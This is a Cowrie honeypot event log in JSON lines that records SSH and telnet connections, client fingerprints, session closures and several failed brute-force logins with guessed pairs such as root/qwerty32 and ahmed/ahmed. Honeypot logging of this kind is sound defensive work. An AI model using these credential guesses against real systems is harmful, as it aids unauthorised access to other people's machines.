{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:54.475156Z","src_ip":"147.45.211.215","session":"ab6e4f7baecb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty32","message":"login attempt [root/qwerty32] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:55.015227Z","src_ip":"147.45.211.215","session":"ab6e4f7baecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:56.185336Z","src_ip":"147.45.211.215","session":"ab6e4f7baecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":57634,"dst_ip":"10.17.0.5","dst_port":23,"session":"809e3b857af3","protocol":"telnet","message":"New connection: 178.128.93.180:57634 (10.17.0.5:23) [session: 809e3b857af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:01.191921Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":59994,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b2e65444ec","protocol":"ssh","message":"New connection: 106.243.250.115:59994 (159.203.135.109:22) [session: a5b2e65444ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:02.099753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:02.111227Z","src_ip":"106.243.250.115","session":"a5b2e65444ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:02.314662Z","src_ip":"106.243.250.115","session":"a5b2e65444ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.023813247680664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:02.893666Z","src_ip":"79.139.59.21","session":"b23b7e7f7d49","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jing","password":"jing","message":"login attempt [jing/jing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:03.159233Z","src_ip":"106.243.250.115","session":"a5b2e65444ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:04.365833Z","src_ip":"106.243.250.115","session":"a5b2e65444ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32702,"dst_ip":"10.17.0.5","dst_port":22,"session":"8774fe49fd99","protocol":"ssh","message":"New connection: 194.59.206.2:32702 (10.17.0.5:22) [session: 8774fe49fd99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:24.735492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:24.740537Z","src_ip":"194.59.206.2","session":"8774fe49fd99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:24.831528Z","src_ip":"194.59.206.2","session":"8774fe49fd99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:24.927001Z","src_ip":"194.59.206.2","session":"8774fe49fd99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.94975686073303,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:25.261434Z","src_ip":"69.4.83.194","session":"e3a1b8803ecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":36180,"dst_ip":"159.203.135.109","dst_port":22,"session":"10cc9a92a93e","protocol":"ssh","message":"New connection: 101.79.165.133:36180 (159.203.135.109:22) [session: 10cc9a92a93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:30.859353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:30.864668Z","src_ip":"101.79.165.133","session":"10cc9a92a93e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:31.089428Z","src_ip":"101.79.165.133","session":"10cc9a92a93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":44782,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5e4d0cb7a28","protocol":"telnet","message":"New connection: 178.128.93.180:44782 (10.17.0.5:23) [session: f5e4d0cb7a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:31.305413Z"}
{"eventid":"cowrie.login.failed","username":"ahmed","password":"ahmed","message":"login attempt [ahmed/ahmed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:32.020121Z","src_ip":"101.79.165.133","session":"10cc9a92a93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:33.246117Z","src_ip":"101.79.165.133","session":"10cc9a92a93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41448,"dst_ip":"159.203.135.109","dst_port":22,"session":"34c583f12fa3","protocol":"ssh","message":"New connection: 103.27.238.116:41448 (159.203.135.109:22) [session: 34c583f12fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:40.136144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:40.141880Z","src_ip":"103.27.238.116","session":"34c583f12fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":53476,"dst_ip":"159.203.135.109","dst_port":22,"session":"010856716c01","protocol":"ssh","message":"New connection: 103.27.238.120:53476 (159.203.135.109:22) [session: 010856716c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:40.282019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:40.290015Z","src_ip":"103.27.238.120","session":"010856716c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:40.406606Z","src_ip":"103.27.238.116","session":"34c583f12fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:40.571878Z","src_ip":"103.27.238.120","session":"010856716c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50920,"dst_ip":"159.203.135.109","dst_port":23,"session":"311f6b15d0d7","protocol":"telnet","message":"New connection: 69.4.83.194:50920 (159.203.135.109:23) [session: 311f6b15d0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:40.630683Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"14785","message":"login attempt [root/14785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:41.203849Z","src_ip":"103.27.238.116","session":"34c583f12fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anastas","message":"login attempt [root/anastas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:41.417690Z","src_ip":"103.27.238.120","session":"010856716c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:42.470704Z","src_ip":"103.27.238.116","session":"34c583f12fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:42.701935Z","src_ip":"103.27.238.120","session":"010856716c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54426,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff467cf514b","protocol":"telnet","message":"New connection: 69.4.83.194:54426 (159.203.135.109:23) [session: 0ff467cf514b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:51.244086Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56682,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0f20f3375b","protocol":"telnet","message":"New connection: 69.4.83.194:56682 (159.203.135.109:23) [session: fb0f20f3375b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:13:57.150453Z"}
{"eventid":"cowrie.session.closed","duration":60.220295667648315,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:01.412100Z","src_ip":"178.128.93.180","session":"809e3b857af3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":53122,"dst_ip":"159.203.135.109","dst_port":22,"session":"89214282263f","protocol":"ssh","message":"New connection: 147.45.199.80:53122 (159.203.135.109:22) [session: 89214282263f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:13.519433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:13.524403Z","src_ip":"147.45.199.80","session":"89214282263f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:13.619275Z","src_ip":"147.45.199.80","session":"89214282263f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaktika","message":"login attempt [root/galaktika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:13.920370Z","src_ip":"147.45.199.80","session":"89214282263f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:15.019631Z","src_ip":"147.45.199.80","session":"89214282263f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.48676037788391,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:17.117365Z","src_ip":"69.4.83.194","session":"311f6b15d0d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.40510416030884,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:21.710388Z","src_ip":"178.128.93.180","session":"f5e4d0cb7a28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.62233567237854,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:26.866327Z","src_ip":"69.4.83.194","session":"0ff467cf514b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.480225801467896,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:33.630535Z","src_ip":"69.4.83.194","session":"fb0f20f3375b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44962,"dst_ip":"159.203.135.109","dst_port":23,"session":"3094f6fdb91d","protocol":"telnet","message":"New connection: 69.4.83.194:44962 (159.203.135.109:23) [session: 3094f6fdb91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:39.442206Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":53693,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0d0d13db385","protocol":"ssh","message":"New connection: 190.6.32.107:53693 (159.203.135.109:22) [session: f0d0d13db385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:44.677299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:44.683386Z","src_ip":"190.6.32.107","session":"f0d0d13db385","protocol":"ssh"}
